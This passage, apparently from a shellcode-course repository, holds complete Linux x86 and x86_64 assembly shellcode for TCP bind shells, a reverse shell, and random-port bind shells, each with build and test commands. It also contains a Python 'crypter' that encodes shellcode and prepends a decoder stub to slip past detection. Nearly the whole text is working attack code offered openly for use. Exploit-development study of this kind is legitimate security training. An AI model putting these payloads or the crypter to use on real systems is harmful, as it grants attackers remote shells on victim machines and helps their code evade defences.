47 | 48 | ; Creating the socket file descriptor 49 | ; socket(2, 1, 0) 50 | 51 | push 102 52 | pop eax 53 | cdq 54 | 55 | push 1 56 | pop ebx 57 | 58 | ; socket arguments 59 | push edx 60 | push ebx 61 | push 2 62 | 63 | finalint: 64 | 65 | mov ecx, esp 66 | int 0x80 67 | 68 | mov esi, eax ; esi now contains the socket file descriptor 69 | 70 | pop edi ; pop 2 to edi 71 | 72 | 73 | ; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened 74 | ; This problem happens in most shellcodes, even in the Metasploit, because they do not care 75 | ; about the reuse of the socket address 76 | ; setsockopt(sockfd, 1, 2, &socklen_t, 4) 77 | 78 | mov al, 102 79 | 80 | ; setsockopt arguments 81 | push 4 82 | push esp 83 | push edi 84 | push ebx 85 | push esi 86 | 87 | mov ecx, esp 88 | 89 | mov bl, 14 90 | int 0x80 91 | 92 | 93 | ; Biding the socket with an address type 94 | ; bind(sockfd, [2, port, 0], 16) 95 | 96 | mov al, 102 97 | mov ebx, edi 98 | 99 | ; sockaddr_in struct 100 | push edx 101 | push bp ; port number 102 | push bx 103 | 104 | mov ecx, esp 105 | 106 | ; bind arguments 107 | push 16 108 | push ecx 109 | push esi 110 | 111 | mov ecx, esp 112 | 113 | int 0x80 114 | 115 | 116 | ; Preparing to listen the incoming connection (passive socket) 117 | ; listen(sockfd, 0) 118 | 119 | mov al, 102 120 | mov bl, 4 121 | 122 | push edx 123 | push esi 124 | 125 | mov ecx, esp 126 | 127 | int 0x80 128 | 129 | 130 | ; Accepting the incoming connection 131 | ; accept(sockfd, 0, 0) 132 | 133 | mov al, 102 134 | inc ebx 135 | 136 | mov [esp+8], edx 137 | 138 | int 0x80 139 | 140 | xchg eax, ebx 141 | 142 | 143 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 144 | ;dup2 (clientfd, fd) 145 | 146 | mov ecx, edi 147 | 148 | dup_loop: 149 | mov al, 63 150 | int 0x80 151 | 152 | dec ecx 153 | jns dup_loop ; looping (2, 1, 0) 154 | 155 | 156 | ; Finally, using execve to substitute the actual process with /bin/sh 157 | ; execve("/bin/sh", ["/bin/sh", 0], 0) 158 | mov al, 11 159 | 160 | push edx 161 | push 0x68732f2f ; "//sh" 162 | push 0x6e69622f ; "/bin" 163 | 164 | mov ebx, esp 165 | push edx 166 | push ebx 167 | 168 | jmp finalint 169 | -------------------------------------------------------------------------------- /improvements/tiny_shell_reverse_tcp.asm: -------------------------------------------------------------------------------- 1 | ; Tiny Shell Reverse TCP - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; tiny_shell_reverse_tcp 22 | ; 23 | ; * 67 bytes 24 | ; * null-free if the IP and port are 25 | ; 26 | ; 27 | ; # nasm -f elf32 tiny_shell_reverse_tcp.asm 28 | ; # ld -m elf_i386 tiny_shell_reverse_tcp.o -o tiny_shell_reverse_tcp 29 | ; 30 | ; Testing 31 | ; # nc -l 127.1.1.1 11111 32 | ; # ./tiny_shell_reverse_tcp 33 | 34 | 35 | global _start 36 | 37 | section .text 38 | 39 | _start: 40 | ; Avoiding garbage 41 | ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding 42 | 43 | xor ebx, ebx 44 | mul ebx 45 | 46 | ; syscalls (/usr/include/asm/unistd_32.h) 47 | ; socketcall numbers (/usr/include/linux/net.h) 48 | 49 | ; Creating the socket file descriptor 50 | ; int socket(int domain, int type, int protocol); 51 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 52 | 53 | mov al, 102 ; syscall 102 - socketcall 54 | inc ebx ; socketcall type (sys_socket 1) 55 | 56 | ; socket arguments (bits/socket.h, netinet/in.h) 57 | push edx ; IPPROTO_IP = 0 (int) 58 | push ebx ; SOCK_STREAM = 1 (int) 59 | push 2 ; AF_INET = 2 (int) 60 | 61 | mov ecx, esp ; ptr to argument array 62 | 63 | int 0x80 ; kernel interruption 64 | 65 | 66 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 67 | ; int dup2(int oldfd, int newfd); 68 | ; dup2(clientfd, ...) 69 | 70 | pop ecx ; pop the sockfd integer to use as the loop counter ecx 71 | xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2) 72 | 73 | dup_loop: 74 | mov al, 63 ; syscall 63 - dup2 75 | 76 | int 0x80 ; kernel interruption 77 | 78 | dec ecx ; file descriptor and loop counter 79 | 80 | jns dup_loop 81 | 82 | 83 | ; Connecting the duplicated file descriptor to the host 84 | ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 85 | ; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16) 86 | 87 | mov al, 102 ; syscall 102 - socketcall 88 | ; socketcall type (sys_connect 3) 89 | 90 | ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h) 91 | push 0x0101017f ; IP number 92 | push WORD 0x672b ; port number 11111 in hex reverse order 93 | push WORD 2 ; AF_INET = 2 (unsigned short int) 94 | mov ecx, esp ; struct pointer 95 | 96 | ; connect arguments 97 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t) 98 | push ecx ; sockaddr_in struct pointer (struct sockaddr *) 99 | push ebx ; socket fd (int) 100 | mov ecx, esp 101 | 102 | int 0x80 103 | 104 | 105 | ; Finally, using execve to substitute the actual process with /bin/sh 106 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 107 | ; exevcve("/bin/sh", NULL, NULL) 108 | 109 | mov al, 11 ; execve syscall 110 | 111 | ; execve string argument 112 | push edx ; null-byte 113 | push 0x68732f2f ; "//sh" 114 | push 0x6e69622f ; "/bin" 115 | 116 | mov ebx, esp ; ptr to ["/bin//sh", NULL] string 117 | 118 | xor ecx, ecx ; zero to argv 119 | ; zero to envp (edx) 120 | 121 | int 0x80 122 | -------------------------------------------------------------------------------- /improvements/tiny_shell_bind_tcp.asm: -------------------------------------------------------------------------------- 1 | ; Tiny Shell Bind TCP - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; tiny_shell_bind_tcp 22 | ; 23 | ; * 75 bytes 24 | ; * null-free if the port is 25 | ; 26 | ; 27 | ; # nasm -f elf32 tiny_shell_bind_tcp.asm; \ 28 | ; ld -m elf_i386 tiny_shell_bind_tcp.o -o tiny_shell_bind_tcp 29 | ; 30 | ; Testing 31 | ; # ./tiny_shell_bind_tcp 32 | ; # nc 127.0.0.1 11111 33 | 34 | 35 | global _start 36 | 37 | section .text 38 | 39 | _start: 40 | ; Avoiding garbage 41 | ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding 42 | 43 | xor ebx, ebx 44 | mul ebx 45 | 46 | ; syscalls (/usr/include/asm/unistd_32.h) 47 | ; socketcall numbers (/usr/include/linux/net.h) 48 | 49 | ; Creating the socket file descriptor 50 | ; int socket(int domain, int type, int protocol); 51 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 52 | 53 | mov al, 102 ; syscall 102 - socketcall 54 | inc ebx ; socketcall type (sys_socket 1) 55 | 56 | ; socket arguments (bits/socket.h, netinet/in.h) 57 | push edx ; IPPROTO_IP = 0 (int) 58 | push ebx ; SOCK_STREAM = 1 (int) 59 | push 2 ; AF_INET = 2 (int) 60 | 61 | mov ecx, esp ; ptr to argument array 62 | 63 | int 0x80 ; kernel interruption 64 | 65 | 66 | ; Biding the socket with an address type 67 | ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 68 | ; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16) 69 | 70 | pop ebx ; socketcall type (sys_bind 2) 71 | pop esi ; just to roll back on stack and overwrite the ulterior value with the next push 72 | 73 | ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h) 74 | push edx ; INADDR_ANY = 0 (uint32_t) 75 | push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t) 76 | ; AF_INET = 2 (unsigned short int) - is already on stack 77 | 78 | ; bind arguments (sys/socket.h) 79 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t) 80 | push ecx ; sockaddr_in struct pointer (struct sockaddr *) 81 | push eax ; socket fd (int) 82 | 83 | push 102 ; syscall 102 - socketcall 84 | pop eax 85 | 86 | mov ecx, esp ; ptr to argument array 87 | 88 | int 0x80 ; kernel interrruption 89 | 90 | 91 | ; Preparing to listen the incoming connection (passive socket) 92 | ; int listen(int sockfd, int backlog); 93 | ; listen(sockfd, int); 94 | 95 | ; listen arguments 96 | mov [ecx+4], edx ; put zero after sockfd that is already on top of stack 97 | 98 | mov al, 102 ; syscall 102 - socketcall 99 | mov bl, 4 ; socketcall type (sys_listen 4) 100 | 101 | int 0x80 ; kernel interruption 102 | 103 | 104 | ; Accepting the incoming connection 105 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 106 | ; accept(sockfd, NULL, NULL) 107 | 108 | mov al, 102 ; syscall 102 - socketcall 109 | inc ebx ; socketcall type (sys_accept 5) 110 | 111 | ; accept arguments ; here we just don't need do nothing, the ecx already points to sockf, NULL and 16 112 | ; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D) 113 | 114 | int 0x80 ; kernel interruption 115 | 116 | 117 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 118 | ; int dup2(int oldfd, int newfd); 119 | ; dup2(clientfd, ...) 120 | 121 | pop ecx ; pop the sockfd integer to use as the loop counter ecx 122 | xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2) 123 | 124 | dup_loop: 125 | push 63 ; syscall 63 - dup2 126 | pop eax 127 | 128 | int 0x80 ; kernel interruption 129 | 130 | dec ecx ; file descriptor and loop counter 131 | 132 | jns dup_loop 133 | 134 | 135 | ; Finally, using execve to substitute the actual process with /bin/sh 136 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 137 | ; exevcve("/bin/sh", NULL, NULL) 138 | 139 | push 11 ; execve syscall 140 | pop eax 141 | 142 | ; execve string argument 143 | ; stack already contains NULL on top 144 | push 0x68732f2f ; "//sh" 145 | push 0x6e69622f ; "/bin" 146 | 147 | mov ebx, esp ; ptr to "/bin//sh" string 148 | 149 | inc ecx ; zero to argv 150 | ; zero to envp (edx) 151 | 152 | int 0x80 153 | -------------------------------------------------------------------------------- /improvements/shell_bind_tcp_random_port_x86_64.asm: -------------------------------------------------------------------------------- 1 | ; Shell Bind TCP Randon Port - Assembly Language - Linux/x86_64 2 | ; Copyright (c) 2013, Geyslan G. Bem, Hacking bits 3 | ; All rights reserved. 4 | ; 5 | ; http://hackingbits.com 6 | ; geyslan@gmail.com 7 | ; 8 | ; Redistribution and use in source and binary forms, with or without 9 | ; modification, are permitted provided that the following conditions 10 | ; are met: 11 | ; 12 | ; * Redistributions of source code must retain the above copyright 13 | ; notice, this list of conditions and the following disclaimer. 14 | ; 15 | ; * Redistributions in binary form must reproduce the above 16 | ; copyright notice, this list of conditions and the following 17 | ; disclaimer in the documentation and/or other materials provided 18 | ; with the distribution. 19 | ; 20 | ; * Neither the name of the Geyslan G. Bem nor the names of its 21 | ; contributors may be used to endorse or promote products derived 22 | ; from this software without specific prior written permission. 23 | 24 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 25 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 26 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 27 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 28 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 29 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 30 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 32 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 34 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 35 | ; POSSIBILITY OF SUCH DAMAGE. 36 | 37 | 38 | ; shell_bind_tcp_random_port_x86_64 39 | ; 40 | ; * 57 bytes 41 | ; * null-free 42 | ; 43 | ; 44 | ; # nasm -f elf64 shell_bind_tcp_random_port_x86_64.asm 45 | ; # ld -m elf_x86_64 shell_bind_tcp_random_port_x86_64.o -o shell_bind_tcp_random_port_x86_64 46 | ; 47 | ; Testing 48 | ; # ./shell_bind_tcp_random_port_x86_64 49 | ; # netstat -anp | grep shell 50 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode) 51 | ; # nc 127.0.0.1 port 52 | 53 | 54 | global _start 55 | 56 | section .text 57 | 58 | _start: 59 | ; Avoiding garbage 60 | ; Putting zero in three registers (rax, rdx and rsi), search about mul instruction for understanding 61 | 62 | xor rsi, rsi ; zeroing rsi 63 | mul rsi ; zeroing rax and rdx at cost of one xor (3 bytes) 64 | 65 | ; syscalls (/usr/include/asm/unistd_64.h) 66 | ; socket numbers (/usr/include/linux/net.h) 67 | 68 | ; Creating the socket file descriptor 69 | ; int socket(int domain, int type, int protocol); 70 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 71 | 72 | ; socket arguments (bits/socket.h, netinet/in.h) 73 | 74 | ; IPPROTO_IP = 0 (int) - rdx is already zero 75 | 76 | inc esi ; SOCK_STREAM = 1 (int) 77 | 78 | push 2 ; AF_INET = 2 (int) 79 | pop rdi 80 | 81 | mov al, 41 ; syscall 41 - socket 82 | syscall ; kernel interruption 83 | 84 | 85 | ; Preparing to listen the incoming connection (passive socket) 86 | ; int listen(int sockfd, int backlog); 87 | ; listen(sockfd, int); 88 | 89 | ; listen arguments 90 | push rdx ; put zero into rsi 91 | pop rsi 92 | 93 | push rax ; put the file descriptor returned by socket() into rdi 94 | pop rdi 95 | 96 | mov al, 50 ; syscall 50 - listen 97 | syscall ; kernel interruption 98 | 99 | 100 | ; Accepting the incoming connection 101 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 102 | ; accept(sockfd, NULL, NULL) 103 | 104 | ; accept arguments ; here we need only do nothing, the rdi already contains the sockfd, 105 | ; likewise rsi and rdx contains 0 106 | 107 | mov al, 43 ; syscall 43 - accept 108 | syscall ; kernel interruption 109 | 110 | 111 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 112 | ; int dup2(int oldfd, int newfd); 113 | ; dup2(clientfd, ...) 114 | 115 | push rdi ; push the sockfd integer to use as the loop counter (rsi) 116 | pop rsi 117 | 118 | xchg rdi, rax ; put the clientfd returned from accept into rdi 119 | 120 | dup_loop: 121 | dec esi ; decrement loop counter 122 | 123 | mov al, 33 ; syscall 33 - dup2 124 | syscall ; kernel interruption 125 | 126 | jnz dup_loop 127 | 128 | 129 | ; Finally, using execve to substitute the actual process with /bin/sh 130 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 131 | ; exevcve("/bin/sh", NULL, NULL) 132 | 133 | ; execve string argument 134 | ; *envp[] rdx is already NULL 135 | ; *argv[] rsi is already NULL 136 | push rdx ; put NULL terminating string 137 | mov rdi, 0x68732f6e69622f2f ; "//bin/sh" 138 | push rdi ; push /bin/sh string 139 | push rsp ; push the stack pointer 140 | pop rdi ; pop it (string address) into rdi 141 | 142 | mov al, 59 ; execve syscall 143 | syscall ; bingo 144 | -------------------------------------------------------------------------------- /7th.assignment/uzumaki_crypter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # Uzumaki Shellcode Crypter - Python Language 5 | # Copyright (C) 2013 Geyslan G. Bem, Hacking bits 6 | # 7 | # http://hackingbits.com 8 | # geyslan@gmail.com 9 | # 10 | # This program is free software: you can redistribute it and/or modify 11 | # it under the terms of the GNU General Public License as published by 12 | # the Free Software Foundation, either version 3 of the License, or 13 | # (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # 20 | # You should have received a copy of the GNU General Public License 21 | # along with this program. If not, see . 22 | 23 | ''' 24 | uzumaki_crypter 25 | 26 | * uses the uzumaki cipher, a custom stream cipher algorithm ( (XOR [static] and XOR [pseudorandom]), ADD [static] ) 27 | 28 | 29 | # ./uzumaki_crypter.py -h 30 | # ./uzumaki_crypter.py -a 03 -x f2 -s $'\x31\xc9\xf7\xe1...\x80' 31 | 32 | ''' 33 | 34 | import sys 35 | import getopt 36 | import string 37 | 38 | 39 | def usage (): 40 | usage = """ 41 | -a --add Byte to be used with bitwise ADD (one byte in hex format) 42 | Default is 01 43 | Eg. -a 2f 44 | --add 1f 45 | 46 | -x --xor Byte to be used with bitwise XOR (one byte in hex format) 47 | Default is cc 48 | Eg. -x f2 49 | --xor aa 50 | 51 | -s --shellcode The shellcode to be crypted with the uzumaki cipher 52 | Eg. -s $'\\xcd\\x80' 53 | --shellcode `printf "\\xcc\\x90"` 54 | 55 | -h --help This help 56 | """ 57 | print(usage) 58 | 59 | def main(): 60 | addByte = "01" 61 | xorByte = "cc" 62 | shellcode = "" 63 | 64 | try: 65 | opts, args = getopt.getopt(sys.argv[1:], "ha:x:s:") 66 | 67 | except getopt.GetoptError as err: 68 | print(err) 69 | usage() 70 | sys.exit() 71 | 72 | 73 | for o, a in opts: 74 | 75 | if o in ("-h", "--help"): 76 | usage() 77 | sys.exit() 78 | 79 | elif o in ("-a", "--add"): 80 | if (len(a) != 2 or not all(h in string.hexdigits for h in a)): 81 | print(" ADD byte has to be in hex format. Eg. -a 3f\n") 82 | sys.exit() 83 | addByte = a 84 | 85 | elif o in ("-x", "--xor"): 86 | if (len(a) != 2 or not all(h in string.hexdigits for h in a)): 87 | print(" XOR byte has to be in hex format. Eg. -x f1\n") 88 | sys.exit() 89 | xorByte = a 90 | 91 | elif o in ("-s", "--shellcode"): 92 | shellcode = a.encode("utf_8", "surrogateescape") 93 | 94 | 95 | if (not shellcode): 96 | print(" Is necessary to inform a shellcode. Eg. -s $'\\xcd\\x80'\n") 97 | sys.exit() 98 | 99 | 100 | crypted = "" 101 | crypted2 = "" 102 | crypted3 = "" 103 | crypted4 = "" 104 | tempbyte = 0x00 105 | 106 | for x in range(len(shellcode)): 107 | if (x == 0): 108 | tempbyte = shellcode[x] 109 | else: 110 | tempbyte = ((shellcode[x-1] ^ (shellcode[x] ^ int("0x" + xorByte, 16) )) + int("0x" + addByte, 16)) 111 | if (tempbyte > 0xff or tempbyte <= 0x00): 112 | print(" A crypted byte value cannot be higher than 0xff or equal to 0x00. Please change the value of the option 'ADD' or/and of the option 'XOR'.\n") 113 | sys.exit() 114 | crypted += "\\x%02x" % tempbyte 115 | 116 | crypted2 = crypted.replace("\\x", ",0x")[1:] 117 | 118 | crypted3 += r"\x29\xc9\x74\x14\x5e\xb1" 119 | crypted3 += r"\x%02x" % (len(shellcode) - 1) 120 | crypted3 += r"\x46\x8b\x06\x83\xe8" 121 | crypted3 += r"\x" + addByte 122 | crypted3 += r"\x34" 123 | crypted3 += r"\x" + xorByte 124 | crypted3 += r"\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8\xe7\xff\xff\xff" 125 | crypted3 += crypted 126 | 127 | crypted4 = crypted3.replace("\\x", ",0x")[1:] 128 | 129 | crypted = '"' + crypted + '";' 130 | crypted3 = '"'+ crypted3 + '";' 131 | 132 | print("Uzumaki Shellcode Crypter - Swirling Everything") 133 | print("http://hackingbits.com") 134 | print("https://github.com/geyslan/SLAE.git") 135 | print("License GPLv3+: GNU GPL version 3 or later \n\n") 136 | 137 | print("Crypted shellcode:\n") 138 | print(crypted) 139 | print() 140 | print(crypted2) 141 | print("\n\n") 142 | 143 | print("Crypted shellcode with decrypter built-in:\n") 144 | print(crypted3) 145 | print() 146 | print(crypted4) 147 | print("\n\n") 148 | 149 | print("Length: %d" % len(bytearray(shellcode))) 150 | print("Length with decrypter: %d" % ((len(crypted3) - 2) / 4)) 151 | 152 | 153 | if __name__ == "__main__": 154 | main() 155 | -------------------------------------------------------------------------------- /improvements/tiny_shell_bind_tcp_random_port.asm: -------------------------------------------------------------------------------- 1 | ; Copyright (c) 2013, Geyslan G. Bem, Hacking bits 2 | ; All rights reserved. 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; Redistribution and use in source and binary forms, with or without 8 | ; modification, are permitted provided that the following conditions 9 | ; are met: 10 | ; 11 | ; * Redistributions of source code must retain the above copyright 12 | ; notice, this list of conditions and the following disclaimer. 13 | ; 14 | ; * Redistributions in binary form must reproduce the above 15 | ; copyright notice, this list of conditions and the following 16 | ; disclaimer in the documentation and/or other materials provided 17 | ; with the distribution. 18 | ; 19 | ; * Neither the name of the Geyslan G. Bem nor the names of its 20 | ; contributors may be used to endorse or promote products derived 21 | ; from this software without specific prior written permission. 22 | 23 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 24 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 25 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 26 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 27 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 28 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 29 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 30 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 31 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 32 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 33 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 34 | ; POSSIBILITY OF SUCH DAMAGE. 35 | 36 | 37 | ; tiny_shell_bind_tcp_random_port 38 | ; 39 | ; * 57 bytes 40 | ; * null-free 41 | ; 42 | ; 43 | ; # nasm -f elf32 tiny_shell_bind_tcp_random_port.asm 44 | ; # ld -m elf_i386 tiny_shell_bind_tcp_random_port.o -o tiny_shell_bind_tcp_random_port 45 | ; 46 | ; Testing 47 | ; # ./tiny_shell_bind_tcp_random_port 48 | ; # netstat -anp | grep shell 49 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode) 50 | ; # nc 127.0.0.1 port 51 | 52 | 53 | global _start 54 | 55 | section .text 56 | 57 | _start: 58 | ; Avoiding garbage 59 | ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding 60 | 61 | xor ebx, ebx 62 | mul ebx 63 | 64 | ; syscalls (/usr/include/asm/unistd_32.h) 65 | ; socketcall numbers (/usr/include/linux/net.h) 66 | 67 | ; Creating the socket file descriptor 68 | ; int socket(int domain, int type, int protocol); 69 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 70 | 71 | mov al, 102 ; syscall 102 - socketcall 72 | inc ebx ; socketcall type (sys_socket 1) 73 | 74 | ; socket arguments (bits/socket.h, netinet/in.h) 75 | push edx ; IPPROTO_IP = 0 (int) 76 | push ebx ; SOCK_STREAM = 1 (int) 77 | push 2 ; AF_INET = 2 (int) 78 | 79 | mov ecx, esp ; ptr to argument array 80 | 81 | int 0x80 ; kernel interruption 82 | 83 | 84 | ; Preparing to listen the incoming connection (passive socket) 85 | ; int listen(int sockfd, int backlog); 86 | ; listen(sockfd, int); 87 | 88 | ; listen arguments 89 | push edx ; put zero 90 | push eax ; put the file descriptor returned by socket() 91 | mov ecx, esp ; ptr to argument array 92 | 93 | mov al, 102 ; syscall 102 - socketcall 94 | mov bl, 4 ; socketcall type (sys_listen 4) 95 | 96 | int 0x80 ; kernel interruption 97 | 98 | 99 | ; Accepting the incoming connection 100 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 101 | ; accept(sockfd, NULL, NULL) 102 | 103 | mov al, 102 ; syscall 102 - socketcall 104 | inc ebx ; socketcall type (sys_accept 5) 105 | 106 | ; accept arguments ; here we need only do nothing, the ecx already points to sockfd, NULL and 2 107 | ; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D) 108 | 109 | int 0x80 ; kernel interruption 110 | 111 | 112 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 113 | ; int dup2(int oldfd, int newfd); 114 | ; dup2(clientfd, ...) 115 | 116 | pop ecx ; pop the sockfd integer to use as the loop counter ecx 117 | xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2) 118 | 119 | dup_loop: 120 | push 63 ; syscall 63 - dup2 121 | pop eax 122 | 123 | int 0x80 ; kernel interruption 124 | 125 | dec ecx ; file descriptor and loop counter 126 | 127 | jns dup_loop 128 | 129 | 130 | ; Finally, using execve to substitute the actual process with /bin/sh 131 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 132 | ; exevcve("/bin/sh", NULL, NULL) 133 | 134 | mov al, 11 ; execve syscall 135 | 136 | ; execve string argument 137 | ; stack already contains NULL on top 138 | push 0x68732f2f ; "//sh" 139 | push 0x6e69622f ; "/bin" 140 | 141 | mov ebx, esp ; ptr to "/bin//sh" string 142 | 143 | inc ecx ; zero to argv 144 | ; zero to envp (edx) 145 | 146 | int 0x80 147 | -------------------------------------------------------------------------------- /improvements/tiny_shell_bind_tcp_random_port_x86_64.asm: -------------------------------------------------------------------------------- 1 | ; Tiny Shell Bind TCP Random Port - Assembly Language - Linux/x86_64 2 | ; Copyright (c) 2021, Geyslan G. Bem, Hacking bits 3 | ; All rights reserved. 4 | ; 5 | ; http://hackingbits.github.io 6 | ; geyslan@gmail.com 7 | ; 8 | ; Redistribution and use in source and binary forms, with or without 9 | ; modification, are permitted provided that the following conditions 10 | ; are met: 11 | ; 12 | ; * Redistributions of source code must retain the above copyright 13 | ; notice, this list of conditions and the following disclaimer. 14 | ; 15 | ; * Redistributions in binary form must reproduce the above 16 | ; copyright notice, this list of conditions and the following 17 | ; disclaimer in the documentation and/or other materials provided 18 | ; with the distribution. 19 | ; 20 | ; * Neither the name of the Geyslan G. Bem nor the names of its 21 | ; contributors may be used to endorse or promote products derived 22 | ; from this software without specific prior written permission. 23 | 24 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 25 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 26 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 27 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 28 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 29 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 30 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 32 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 34 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 35 | ; POSSIBILITY OF SUCH DAMAGE. 36 | 37 | 38 | ; tiny_shell_bind_tcp_random_port_x86_64 39 | ; 40 | ; * 51 bytes 41 | ; * null-free 42 | ; 43 | ; 44 | ; # nasm -f elf64 tiny_shell_bind_tcp_random_port_x86_64.asm; \ 